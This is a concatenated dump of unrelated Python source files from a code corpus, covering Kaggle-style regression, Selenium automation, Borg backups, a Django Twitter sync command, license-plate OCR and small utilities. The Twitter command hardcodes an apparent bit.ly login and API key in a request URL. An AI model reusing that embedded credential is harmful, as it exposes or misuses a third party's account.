warnings\nwarnings.filterwarnings('ignore')\n#from preprocessing.transformers.normalize_transformer import NormalizeTransformer\nfrom preprocessing.transformers.standardize_transformer import StandardizeTransformer\n\n\nif __name__ == '__main__':\n dir_path = os.path.dirname(os.path.realpath(__file__))\n\n df_train = pd.read_csv(\"{}/data/train.csv\".format(dir_path))\n\n\n # Transformation log(target)\n\n df_train = transform_log(df_train, 'SalePrice')\n\n # split Train/Eval\n df_train, df_train_eval = split_dataframe_by_row(df_train, 0.7)\n\n # Preprocess data\n\n quantitative_columns =[\"MSSubClass\",\"LotFrontage\",\"OverallQual\",\"OverallCond\",\"YearBuilt\",\"YearRemodAdd\",\n \"MasVnrArea\",\"BsmtFinSF2\",\"BsmtUnfSF\",\"TotalBsmtSF\",\"1stFlrSF\",\"2ndFlrSF\",\"LowQualFinSF\",\n \"GrLivArea\",\"BsmtFullBath\",\"BsmtHalfBath\",\"FullBath\",\"HalfBath\",\"BedroomAbvGr\",\n \"KitchenAbvGr\",\"TotRmsAbvGrd\",\"Fireplaces\",\"GarageYrBlt\",\"GarageCars\",\"GarageArea\",\n \"WoodDeckSF\",\"OpenPorchSF\",\"EnclosedPorch\",\"3SsnPorch\",\"ScreenPorch\",\"PoolArea\",\"MiscVal\",\n \"MoSold\",\"YrSold\",\"LotArea\"]\n\n processing_pipeline = make_pipeline(KeepColumnsTransformer(quantitative_columns),\n FillnaMeanTransformer(quantitative_columns),\n #NormalizeTransformer(quantitative_columns)\n StandardizeTransformer(quantitative_columns), DataframeToMatrix())\n\n\n ###### Entrainement et grid_search\n # Split features and target\n X = df_train.drop(columns='SalePrice')\n y = df_train[['SalePrice']]\n\n\n processing_pipeline.fit(X, y)\n X = processing_pipeline.transform(X)\n\n # Train Model\n parameters = {'max_depth': [2*(1+x) for x in range(5)], 'n_estimators': [100, 500, 1000, 1500]}\n regr = RandomForestRegressor()\n clf = GridSearchCV(regr, parameters, cv=3)\n clf.fit(X, y)\n\n best_params = clf.get_params()\n print(\"best_params: {}\".format(best_params))\n\n ###### Evaluate Model\n X = df_train_eval.drop(columns='SalePrice')\n y = df_train_eval[['SalePrice']]\n\n X = processing_pipeline.transform(X)\n\n y_pred = clf.predict(X)\n\n error = mean_squared_error(y, y_pred)\n\n\n # The mean squared error\n print(\"Mean squared error: %.6f\" % error)\n print(\"Root Mean squared error: %.6f\" % np.sqrt(error))\n # Explained variance score: 1 is perfect prediction\n print('Variance score: %.6f' % r2_score(y, y_pred))\n\n\n ###### PREDICTION\n max_depth = best_params['estimator__max_depth']\n n_estimators = best_params['estimator__n_estimators']\n regr = RandomForestRegressor(max_depth=max_depth, random_state=0, n_estimators=n_estimators)\n\n final_df_train = pd.concat([df_train, df_train_eval])\n\n X = final_df_train.drop(columns='SalePrice')\n y = final_df_train[['SalePrice']]\n\n processing_pipeline.fit(X, y)\n X = processing_pipeline.transform(X)\n\n regr.fit(X, y)\n\n df_test = pd.read_csv(\"{}/data/test.csv\".format(dir_path))\n\n X_test = df_test\n\n X_test = processing_pipeline.transform(X_test)\n y_pred = regr.predict(X_test)\n\n submission = df_test[['Id']]\n submission.insert(1, \"SalePrice\", y_pred, True)\n submission = transform_exp(submission, 'SalePrice')\n submission.to_csv(\"{}/data/submission.csv\".format(dir_path), index=False)\n\n print(submission)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"290379007","text":"from selenium.webdriver.support import expected_conditions as ec\nfrom selenium.webdriver.common.by import By\nimport os\n\n\ndef _doc_type_xpath(doc_type):\n sub = None\n if doc_type == \"resume\":\n sub = 4\n elif doc_type == \"cover-letter\":\n sub = 1\n return f\"//div[@class='panel-body'][1]/table/tbody/tr[{sub}]/td[3]/a\"\n# PRIV_FN_COMPLETE\n\n\ndef upload_doc(d, doc_type, doc_name, doc_path):\n # Go to dashboard\n d[0].get(os.getenv(\"DASHBOARD\"))\n\n # Go to documents tab\n d[1].until(ec.presence_of_element_located(\n (By.ID, \"displayStudentMyDocuments\"))).click()\n\n # Select document-type\n d[1].until(ec.presence_of_element_located(\n (By.XPATH, _doc_type_xpath(doc_type)))).click()\n\n # Upload new doc\n d[1].until(ec.presence_of_element_located(\n (By.XPATH, \"//div[@class='orbis-posting-actions']/a[1]\"))\n ).click()\n\n # Enter new document name\n d[1].until(ec.presence_of_element_located(\n (By.ID, 'docName'))\n ).send_keys(doc_name)\n\n # Upload file\n d[1].until(ec.presence_of_element_located(\n (By.XPATH, \"//*[@id='fileUploadForm']/div[3]/div/div[2]/button\"))\n ).click()\n d[1].until(ec.presence_of_element_located(\n (By.ID, 'fileUpload_docUpload'))\n ).send_keys(doc_path)\n\n # Submit form\n d[0].execute_script(\"$('#fileUploadForm').submit();\")\n# FN_COMPLETE\n","sub_path":"src/package_actions.py","file_name":"package_actions.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"225645808","text":"import os\nfrom typing import Union\n\nfrom . import common_util\n\nimport json\nimport shutil\nimport subprocess\nimport tempfile\nfrom pathlib import Path\n\n\nclass BorgTaskInvoker():\n \"\"\"Do borg tasks.\"\"\"\n\n def __init__(self, config_file_path: Union[Path, str]):\n self.c = common_util.get_configuration_yml(config_file_path)\n self.borg_bin = self.c.dict_like['BorgBin']\n self.repo_path = self.c.dict_like['BorgRepoPath']\n\n def main(self, action, args_ary):\n if action == 'Archive':\n self.send_to_client(self.new_borg_archive())\n elif action == 'Prune':\n self.send_to_client(self.invoke_prune())\n elif action == 'InitializeRepo':\n self.send_to_client(self.init_borg_repo())\n elif action == 'DownloadPublicKey':\n self.send_to_client(self.get_openssl_publickey())\n elif action == 'Install':\n self.send_to_client(self.install_borg())\n else:\n common_util.common_action_handler(action, args_ary)\n\n def send_to_client(self, content):\n common_util.send_lines_to_client(content)\n\n def get_openssl_publickey(self):\n openssl_exec = self.c.dict_like[\"openssl\"]\n private_key_file = self.c.dict_like[\"ServerPrivateKeyFile\"]\n with tempfile.NamedTemporaryFile(delete=False) as tf:\n subprocess.call([openssl_exec, 'rsa', '-in',\n private_key_file, '-pubout', '-out', tf.name])\n return tf.name\n\n def install_borg(self):\n if os.path.exists(self.borg_bin):\n return \"AlreadyInstalled\"\n\n common_util.get_software_packages(self.c.package_dir,\n self.c.softwares)\n pk = common_util.get_software_package_path(\n self.c.package_dir, self.c.softwares)\n shutil.copy(pk, self.borg_bin)\n subprocess.call(['chmod', '755', self.borg_bin])\n return \"Install Success.\"\n\n def new_borg_archive(self):\n bout = subprocess.check_output(\n [self.borg_bin, 'list', '--json', self.repo_path])\n result_json = json.loads(bout)\n archives = result_json['archives']\n if archives:\n archive_name = str(int(archives[-1]['name']) + 1)\n else:\n archive_name = \"1\"\n create_cmd = self.c.dict_like['BorgCreate'] % (\n self.borg_bin, self.repo_path, archive_name)\n return subprocess.check_output(create_cmd, shell=True)\n\n def invoke_prune(self):\n prune_cmd = self.c.dict_like['BorgPrune'] % (\n self.borg_bin, self.repo_path)\n subprocess.check_output(prune_cmd, shell=True)\n list_cmd = self.c.dict_like['BorgList'] % (\n self.borg_bin, self.repo_path)\n return subprocess.check_output(list_cmd, shell=True)\n\n def init_borg_repo(self):\n # init_cmd = [borg_bin, 'init', '--encryption=none', repo_path]\n borg_init = self.c.dict_like['BorgInit']\n init_cmd = borg_init % (self.borg_bin, self.repo_path)\n init_cmd = init_cmd.split()\n try:\n out_put = subprocess.check_output(\n init_cmd, stderr=subprocess.STDOUT)\n return out_put\n except subprocess.CalledProcessError as cpe:\n return \"%s, %s, %s, %s, %s\" % (\n cpe.cmd, cpe.returncode, cpe.output, cpe.stdout, cpe.stderr)\n","sub_path":"wfc/borg_task_invoker.py","file_name":"borg_task_invoker.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"261248148","text":"from optparse import make_option\nfrom django.core.management.base import BaseCommand\n\nclass Command(BaseCommand):\n\toption_list = BaseCommand.option_list + (\n\t\tmake_option('--event', action='store_true', dest='twit_event', default=False, help='twit live stream (default if --event not specified) or events'),\n\t)\n\t\n\tdef handle(self, *args, **options):\n\t\t\n\t\tself.sync_twits(*args, **options)\n\t\t# commented this out because people don't know what some fields mean in intranet.\n\t\t#self.emit_twits(*args, **options)\n\t\n\tdef sync_twits(self, *args, **options):\n\t\timport feedparser\n\t\tfrom django.conf import settings\n\t\tfrom syncr.app.tweet import TwitterSyncr\n\t\t\n\t\ttsyncr = TwitterSyncr(settings.TWITTER_USERNAME, settings.TWITTER_PASSWORD)\n\t\tfor kwd in settings.TWITTER_SYNC.get('keywords', []):\n\t\t\tTwitterSearchFeed = feedparser.parse(\"http://search.twitter.com/search.atom?q=%s\" % kwd)\n\t\t\t\n\t\t\tfor tweet in TwitterSearchFeed.entries:\n\t\t\t\ttweet_id = tweet.id[tweet.id.rindex(':')+1:]\n\t\t\t\ttsyncr.syncTweet(tweet_id)\n\t\t\n\t\tfor user in settings.TWITTER_SYNC.get('user', []):\n\t\t\tTwitterSearchFeed = feedparser.parse(\"http://twitter.com/statuses/user_timeline/%s.rss\" % user)\n\t\t\t\n\t\t\tfor tweet in TwitterSearchFeed.entries:\n\t\t\t\ttweet_id = tweet.id[tweet.id.rindex(':')+1:]\n\t\t\t\ttsyncr.syncTweet(tweet_id)\n\t\n\tdef emit_twits(self, *args, **options):\n\t\timport datetime\n\t\tfrom os.path import join\n\t\tfrom django.utils import simplejson\n\t\timport twitter\n\t\tfrom urllib2 import urlopen\n\t\t\n\t\tfrom django.conf import settings\n\t\tfrom intranet.org.models import Event, Sodelovanje\n\t\t\n\t\ttwit_event = options.get('twit_event')\n\t\t\n\t\tdef get_bitly_url(url):\n\t\t\tdump = urlopen('http://api.bit.ly/shorten?version=2.0.0&long_url=' + url +'&login=crkn&api_key=R_678ce6a3bba1c3f64f996080e21909c2')\n\t\t\treturn simplejson.loads(dump.read())['results'][url]['hashUrl']\n\t\t\n\t\tapi = twitter.Api(username=settings.TWITTER_USERNAME, password=settings.TWITTER_PASSWORD)\n\t\ttoday = datetime.datetime.today()\n\t\tevents = Event.objects.filter(public=True, start_date__year=today.year, start_date__month=today.month, start_date__day=today.day)\n\t\t\n\t\tif twit_event:\n\t\t\t#the announce event tweet\n\t\t\tfor e in events:\n\t\t\t\tshort_url = get_bitly_url(join(settings.BASE_URL + e.get_public_url()[1:])) #compensate for two slashes\n\t\t\t\t\n\t\t\t\tsodelovanja = ''\n\t\t\t\tif Sodelovanje.objects.filter(event=e).count() == 1:\n\t\t\t\t\tsodelovanja = '- ' + Sodelovanje.objects.filter(event=e)[0].person.name\n\t\t\t\t\n\t\t\t\tif e.language == 'SI':\n\t\t\t\t\tapi.PostUpdate(u'%s danes ob %s:%.2d #Kiberpipa: %s %s %s' % (\n\t\t\t\t\t\te.project, e.start_date.hour, e.start_date.minute, e.title, sodelovanja, short_url))\n\t\t\t\telse:\n\t\t\t\t\tapi.PostUpdate(u'%s today at %s:%.2d #Kiberpipa: %s %s %s' % (\n\t\t\t\t\t\te.project, e.start_date.hour, e.start_date.minute, e.title, sodelovanja, short_url))\n\t\telse:\n\t\t\t#the live stream announcement\n\t\t\tmin_15 = today + datetime.timedelta(seconds=15*60)\n\t\t\tevents = events.filter(require_video=True, start_date__range=(today, min_15))\n\t\t\tfor e in events:\n\t\t\t\tshort_url = get_bitly_url(join(settings.BASE_URL + e.get_public_url()[1:])) #compensate for two slashes\n\t\t\t\t\n\t\t\t\tsodelovanja = ''\n\t\t\t\tif Sodelovanje.objects.filter(event=e).count() == 1:\n\t\t\t\t\tsodelovanja = Sodelovanje.objects.filter(event=e)[0].person.name + ' '\n\t\t\t\t\n\t\t\t\tif e.language == 'EN':\n\t\t\t\t\tapi.PostUpdate(u'%slive from #Kiberpipa (%s: %s): at http://bit.ly/FdgZ' % (\n\t\t\t\t\t\tsodelovanja, unicode(e.project), e.title))\n\t\t\t\telse:\n\t\t\t\t\tapi.PostUpdate(u'%sv zivo iz #Kiberpipa (%s: %s): na http://bit.ly/FdgZ' % (\n\t\t\t\t\t\tsodelovanja, unicode(e.project), e.title))\n","sub_path":"intranet/org/management/commands/twit.py","file_name":"twit.py","file_ext":"py","file_size_in_byte":3555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"153264482","text":"import random\nimport numpy as np\n\ndef xuanzhe(arr):\n\tif len(arr)<2:\n\t\treturn\n\tfor i in range(0,len(arr)):\n\t\tfor j in range(i,len(arr)):\n\t\t\tif arr[j]maxLength:\n maxLength=len(r)\n a=r\n else:\n stack.append(list1[i])\n\nprint(a)","sub_path":"FilePath-Length.py","file_name":"FilePath-Length.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"47454501","text":"from configuration import *\n\nfile_name = 'PdfWithAnnotations.pdf'\nuploadFile(file_name)\n\nattachment_file = '4pages.pdf'\nuploadFile(attachment_file)\n\nannotation = asposepdfcloud.models.SoundAnnotation()\nannotation.name = 'Test Name'\nannotation.rect = asposepdfcloud.models.Rectangle(\n llx=100, lly=100, urx=200, ury=200)\nannotation.flags = [asposepdfcloud.models.AnnotationFlags.DEFAULT]\nannotation.horizontal_alignment = asposepdfcloud.models.HorizontalAlignment.CENTER\nannotation.rich_text = 'Rich Text'\nannotation.subject = 'Subj'\nannotation.z_index = 1\nannotation.title = 'Title'\nannotation.modified = '01/01/2018 12:00:00.000 AM'\nannotation.file_path = temp_folder + '/' + attachment_file\n\nresponse_annotations = pdf_api.get_document_sound_annotations(\n file_name, folder=temp_folder)\nannotation_id = response_annotations.annotations.list[0].id\n\nresponse = pdf_api.put_sound_annotation(\n file_name, annotation_id, annotation, folder=temp_folder)\n\npprint(response)\n","sub_path":"Examples/put_sound_annotation.py","file_name":"put_sound_annotation.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"30119857","text":"from optparse import OptionParser\n\nfrom logger import logger\n\nfrom perfrunner.helpers.remote import RemoteHelper\nfrom perfrunner.settings import ClusterSpec\n\n\ndef get_options():\n usage = '%prog -c cluster'\n\n parser = OptionParser(usage)\n\n parser.add_option('-c', dest='cluster_spec_fname',\n help='path to the cluster specification file',\n metavar='cluster.spec')\n\n options, args = parser.parse_args()\n if not options.cluster_spec_fname:\n parser.error('Please specify a cluster specification')\n\n return options, args\n\n\ndef main():\n options, args = get_options()\n\n cluster_spec = ClusterSpec()\n cluster_spec.parse(options.cluster_spec_fname, args)\n\n remote = RemoteHelper(cluster_spec, test_config=None, verbose=False)\n\n logger.info('Recovering system state')\n for host, version in remote.get_system_backup_version().items():\n remote.start_system_state_recovery(host, version)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"perfrunner/utils/recovery.py","file_name":"recovery.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"620209237","text":"\r\n# -*- coding: utf-8 -*-\r\n# 测试 json 序列化时加 ensure_ascii 参数 \r\n# json.dumps 序列化时对中文默认使用的ascii编码.要想输出真正的中文需要指定ensure_ascii=False\r\n\r\nimport json\r\nobj = dict(name='小明', age=20)\r\ns = json.dumps(obj, ensure_ascii=True)\r\nprint(s) #{\"name\": \"\\u5c0f\\u660e\", \"age\": 20}\r\ns = json.dumps(obj, ensure_ascii=False)\r\nprint(s) #{\"name\": \"小明\", \"age\": 20}","sub_path":"Program/Language/Python/Project/Base/Exercise2/21. json.dump() 序列化对象.py","file_name":"21. json.dump() 序列化对象.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"511812624","text":"from ctypes import *\nimport random\nimport cv2\nfrom lpr.src.keras_utils import load_model, detect_lp\nfrom lpr.src.utils import im2single\nimport numpy as np\n\n\ndef sample(probs):\n s = sum(probs)\n probs = [a / s for a in probs]\n r = random.uniform(0, 1)\n for i in range(len(probs)):\n r = r - probs[i]\n if r <= 0:\n return i\n return len(probs) - 1\n\n\ndef c_array(ctype, values):\n arr = (ctype * len(values))()\n arr[:] = values\n return arr\n\n\nclass BOX(Structure):\n _fields_ = [(\"x\", c_float),\n (\"y\", c_float),\n (\"w\", c_float),\n (\"h\", c_float)]\n\n\nclass DETECTION(Structure):\n _fields_ = [(\"bbox\", BOX),\n (\"classes\", c_int),\n (\"prob\", POINTER(c_float)),\n (\"mask\", POINTER(c_float)),\n (\"objectness\", c_float),\n (\"sort_class\", c_int)]\n\n\nclass IMAGE(Structure):\n _fields_ = [(\"w\", c_int),\n (\"h\", c_int),\n (\"c\", c_int),\n (\"data\", POINTER(c_float))]\n\n\nclass METADATA(Structure):\n _fields_ = [(\"classes\", c_int),\n (\"names\", POINTER(c_char_p))]\n\n\nlib = CDLL(\"darknet/libdarknet.so\", RTLD_GLOBAL)\nlib.network_width.argtypes = [c_void_p]\nlib.network_width.restype = c_int\nlib.network_height.argtypes = [c_void_p]\nlib.network_height.restype = c_int\n\npredict = lib.network_predict\npredict.argtypes = [c_void_p, POINTER(c_float)]\npredict.restype = POINTER(c_float)\n\nset_gpu = lib.cuda_set_device\nset_gpu.argtypes = [c_int]\n\nmake_image = lib.make_image\nmake_image.argtypes = [c_int, c_int, c_int]\nmake_image.restype = IMAGE\n\nget_network_boxes = lib.get_network_boxes\nget_network_boxes.argtypes = [\n c_void_p, c_int, c_int, c_float, c_float,\n POINTER(c_int), c_int, POINTER(c_int)\n]\nget_network_boxes.restype = POINTER(DETECTION)\n\nmake_network_boxes = lib.make_network_boxes\nmake_network_boxes.argtypes = [c_void_p]\nmake_network_boxes.restype = POINTER(DETECTION)\n\nfree_detections = lib.free_detections\nfree_detections.argtypes = [POINTER(DETECTION), c_int]\n\nfree_ptrs = lib.free_ptrs\nfree_ptrs.argtypes = [POINTER(c_void_p), c_int]\n\nnetwork_predict = lib.network_predict\nnetwork_predict.argtypes = [c_void_p, POINTER(c_float)]\n\nreset_rnn = lib.reset_rnn\nreset_rnn.argtypes = [c_void_p]\n\nload_net = lib.load_network\nload_net.argtypes = [c_char_p, c_char_p, c_int]\nload_net.restype = c_void_p\n\ndo_nms_obj = lib.do_nms_obj\ndo_nms_obj.argtypes = [POINTER(DETECTION), c_int, c_int, c_float]\n\ndo_nms_sort = lib.do_nms_sort\ndo_nms_sort.argtypes = [POINTER(DETECTION), c_int, c_int, c_float]\n\nfree_image = lib.free_image\nfree_image.argtypes = [IMAGE]\n\nletterbox_image = lib.letterbox_image\nletterbox_image.argtypes = [IMAGE, c_int, c_int]\nletterbox_image.restype = IMAGE\n\nload_meta = lib.get_metadata\nlib.get_metadata.argtypes = [c_char_p]\nlib.get_metadata.restype = METADATA\n\nload_image = lib.load_image_color\nload_image.argtypes = [c_char_p, c_int, c_int]\nload_image.restype = IMAGE\n\nrgbgr_image = lib.rgbgr_image\nrgbgr_image.argtypes = [IMAGE]\n\npredict_image = lib.network_predict_image\npredict_image.argtypes = [c_void_p, IMAGE]\npredict_image.restype = POINTER(c_float)\n\n# srand = lib.srand\n# srand.argtypes = [c_int]\n# nnp_initialize = lib.nnp_initialize\n\n\ndef classify(net, meta, im):\n out = predict_image(net, im)\n res = []\n for i in range(meta.classes):\n res.append((meta.names[i], out[i]))\n res = sorted(res, key=lambda x: -x[1])\n return res\n\n\ndef detect(net, meta, image, thresh=.5, hier_thresh=.5, nms=.45):\n im = load_image(image, 0, 0)\n num = c_int(0)\n pnum = pointer(num)\n predict_image(net, im)\n dets = get_network_boxes(net, im.w, im.h, thresh,\n hier_thresh, None, 0, pnum)\n num = pnum[0]\n if (nms):\n do_nms_obj(dets, num, meta.classes, nms)\n\n res = []\n for j in range(num):\n for i in range(meta.classes):\n if dets[j].prob[i] > 0:\n b = dets[j].bbox\n res.append(\n (meta.names[i], dets[j].prob[i], (b.x, b.y, b.w, b.h)))\n res = sorted(res, key=lambda x: -x[1])\n wh = (im.w, im.h)\n free_image(im)\n free_detections(dets, num)\n return res, wh\n\n\ndef load_plate_models():\n\n net = load_net(b\"src/lpr/data/ocr/ocr-net.cfg\",\n b\"src/lpr/data//ocr/ocr-net.weights\", 0)\n meta = load_meta(b\"src/lpr/data/ocr/ocr-net.data\")\n\n wpod_net_path = 'src/lpr/data/lp-detector/wpod-net_update1.h5'\n wpod_net = load_model(wpod_net_path)\n\n return net, meta, wpod_net\n\n\ndef detect_plates(frame, net, meta, wpod_net, lp_threshold, letter_threshold):\n ratio = float(max(frame.shape[:2])) / min(frame.shape[:2])\n\n side = int(ratio * 288)\n bound_dim = min(side + (side % (2**4)), 608)\n\n print(\"\\t\\tBound dim: %d, ratio: %f\" % (bound_dim, ratio))\n Llp, LlpImgs, _ = detect_lp(wpod_net, im2single(\n frame), bound_dim, 2**4, (240, 80), lp_threshold)\n\n print(frame.shape)\n plates = {\n \"image_width\": frame.shape[0],\n \"image_height\": frame.shape[1],\n \"plates\": []\n }\n plates_aux = []\n for i in range(len(LlpImgs)):\n Ilp = LlpImgs[i]\n plate_pts = Llp[i].pts\n Ilp = Ilp * 255\n Ilp = Ilp.astype(np.uint8)\n cv2.imwrite('src/static/plate_to_ocr.jpg', Ilp)\n r = detect(net, meta, b\"src/static/plate_to_ocr.jpg\", letter_threshold)\n posicion = []\n letra = []\n for det in r[0]:\n posicion.append(det[2][0])\n letra.append(det[0])\n box = [int(kk) for kk in det[2]]\n cv2.rectangle(\n Ilp,\n (int(box[0] - box[2] / 2), int(box[1] - box[3] / 2)),\n (int(box[0] + box[2] / 2), int(box[1] + box[3] / 2)),\n (0, 255, 0),\n 3\n )\n\n cv2.putText(\n Ilp,\n str(det[0])[2],\n (int(box[0]), int(box[1])),\n cv2.FONT_HERSHEY_SIMPLEX,\n 0.5,\n (255, 255, 255),\n 1\n )\n cv2.imwrite('src/static/plate_proccesed.jpg', Ilp)\n while 0 in posicion:\n posicion.remove(0)\n desorganizado = posicion.copy()\n posicion.sort() # posicion organizada\n# print(desorganizado)\n\n matricula = []\n counter_i = 0\n\n for i in posicion:\n\n Letter = str(letra[desorganizado.index(i)])[2]\n '''if counter_i <3:\n try:\n a=int(Letter)+3\n print(f\"WITH NUMBERS AT FIRST LETTER: {Letter}\")\n break\n except:\n a=1\n else:\n try:\n int(Letter)\n except:\n print(f\"WITH LETTERS AT END : {Letter}\")\n break'''\n\n matricula.append(Letter)\n counter_i += 1\n\n matricula = ''.join(matricula)\n print(f\"La puta matricula es: {matricula}\")\n print(f\"los puntos de las placas {plate_pts[0]}\")\n\n plates_aux.append({\n \"upper_left\": [\n int(plate_pts[0][0] * frame.shape[0]),\n int(plate_pts[0][1] * frame.shape[0])\n ],\n \"down_right\": [\n int(plate_pts[0][2] * frame.shape[0]),\n int(plate_pts[0][3] * frame.shape[1])\n ],\n \"plate\": matricula\n })\n cv2.imwrite(f\"src/static/detection_photo.jpg\", frame)\n\n plates[\"plates\"] = plates_aux\n print(plates)\n return plates\n","sub_path":"src/lpr/lpr_utils.py","file_name":"lpr_utils.py","file_ext":"py","file_size_in_byte":7616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"46642174","text":"import qt\n\n\nfrom BlissFramework import BaseComponents\nfrom widgets.energy_scan_parameters_widget import EnergyScanParametersWidget\n\n\n__category__ = 'mxCuBE_v3'\n\n\nclass EnergyScanParametersBrick(BaseComponents.BlissWidget):\n\n def __init__(self, *args):\n BaseComponents.BlissWidget.__init__(self, *args)\n\n self.addProperty('energy-scan', 'string', '') \n self.addProperty(\"session\", \"string\", \"/session\")\n \n # Layout\n main_layout = qt.QVBoxLayout(self)\n self.energy_scan_widget = EnergyScanParametersWidget(self)\n main_layout.addWidget(self.energy_scan_widget)\n\n # Qt-Slots\n self.defineSlot(\"populate_parameter_widget\", ({}))\n\n\n def populate_parameter_widget(self, item):\n self.energy_scan_widget.populate_widget(item)\n\n\n def propertyChanged(self, property_name, old_value, new_value):\n \"\"\"\n Overriding BaseComponents.BlissWidget (propertyChanged object) \n run method.\n \"\"\"\n if property_name == 'energy-scan':\n self.energy_scan_widget.periodic_table['mnemonic'] = new_value\n elif property_name == 'session':\n session_hwobj = self.getHardwareObject(new_value)\n self.energy_scan_widget.data_path_widget.set_session(session_hwobj)\n","sub_path":"Bricks/EnergyScanParametersBrick.py","file_name":"EnergyScanParametersBrick.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"79737527","text":"import os\nimport glob\nimport matplotlib.pyplot as plt\nimport numpy as np\n\npath=[]\npath.append('./*0.0066*')\n\nfor i in range (len(path)):\n\tfiles=glob.glob(path[i])\n\n\tindex=[]\n\tname=[]\n\tnamelist=[]\n\tfor j in range (len(files)):\n\t\tnamelist.append(str(files[j]).split(\",\")[5]+str(files[j]).split(\",\")[6])\n\t\tindex.append([str(files[j]).split(\" \")[20].strip('],'), files[j]])\n\t\tindex=sorted(index)\n\tnamelist[0],namelist[1]=namelist[1],namelist[0]\n\t\t\n\ttotal=[] \n\tspike=[]\n\tc=0\n\tfor ind in index:\n\t\t\tf=open(ind[1], 'r') \n\t\t\tnext(f)\n\t\t\tnext(f)\n\t\t\tnext(f)\n\t\t\ta=[]\n\t\t\tb=[]\n\t\t\tcount=[]\n\t\t\tn=0\n\t\t\tfor line in f:\n\t\t\t\t\tif n==201:\n\t\t\t\t\t\tbreak\n\t\t\t\t\tn+=1\n\t\t\t\t\tif n%2==0:\n\t\t\t\t\t\t\tcount.append(n/2)\n\t\t\t\t\t\t\ta.append(float(str(line).split(\" \")[8].strip()))\n\t\t\t\t\telse:\t\t\n\t\t\t\t\t\t\tb.append(float(str(line).split(\" \")[8].strip()))\n\t\t\t\t\t\t\tif n==199:\n\t\t\t\t\t\t\t\t\tname.append(namelist[c]+' '+str(int(float(str(line).split(\" \")[8].strip()))))\n\t\t\ttotal.append(a)\n\t\t\tspike.append(b)\n\t\t\tf.close()\n\t\t\tc+=1\n\n\tplt.figure(figsize=(5,8))\n\tfor i in range (len(total)):\n\t\tplt.plot(count,total[i],label=name[i])\n\t\t#plt.ylabel('Accuracy (%)', size=20)\n\t\t#plt.xlabel('Epoch', size=20)\n\t\tplt.xticks(fontsize=20)\n\t\ty_ticks=np.arange(0,1.2,0.1)\n\t\tplt.yticks(y_ticks, fontsize=20)\n\tplt.legend(loc=4, bbox_to_anchor=(1,0), ncol=1, fontsize=20)\t\n\n\tplt.show()\n\n\n\n\n","sub_path":"3_optimization/result/weight/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"28397551","text":"from pyramid.security import (\n Allow,\n Everyone,\n Authenticated\n)\n\nfrom ..models import CalendarPermission\n\n\nclass CalendarResource():\n def __init__(self, calendar, request):\n self.calendar = calendar\n self.request = request\n\n def __acl__(self):\n return [\n (Allow, Authenticated, 'view_calendar'),\n (Allow, Everyone, 'add_calendar'),\n (Allow, 'user_id:' + str(self.calendar.user_id), 'edit_calendar'),\n (Allow, self.calendar_permissions('edit'), 'edit_calendar', 'bool')\n ]\n\n def calendar_permissions(self, type):\n if self.request.user:\n calendar_permissions = self.request.dbsession\\\n .query(CalendarPermission.perm_type)\\\n .filter_by(\n calendar_id=self.calendar.calendar_id,\n user_id=self.request.user.user_id,\n perm_type=type)\\\n .first()\n if calendar_permissions:\n return True\n return False\n","sub_path":"simple_erp/resources/calendar.py","file_name":"calendar.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"425245672","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 15 02:43:34 2017\n\n@author: drew\n\"\"\"\ns = 'azcbobobegghakl'\nbob = 0\nindex = 0\nfor count in s:\n if index >= 2 and s[index-2] == 'b' and s[index-1] == 'o' and s[index] == 'b':\n bob += 1\n index += 1\nprint(\"Number of times bob occurs is: \", bob)","sub_path":"Week 1/ps1p2.py","file_name":"ps1p2.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"78891842","text":"#!/usr/bin/python3\n\n\"\"\" Display War Games WOPR pattern on an Adafruit 8x8 LED backpack \"\"\"\n\n# MIT License\n#\n# Copyright (c) 2019 Dave Wilson\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT 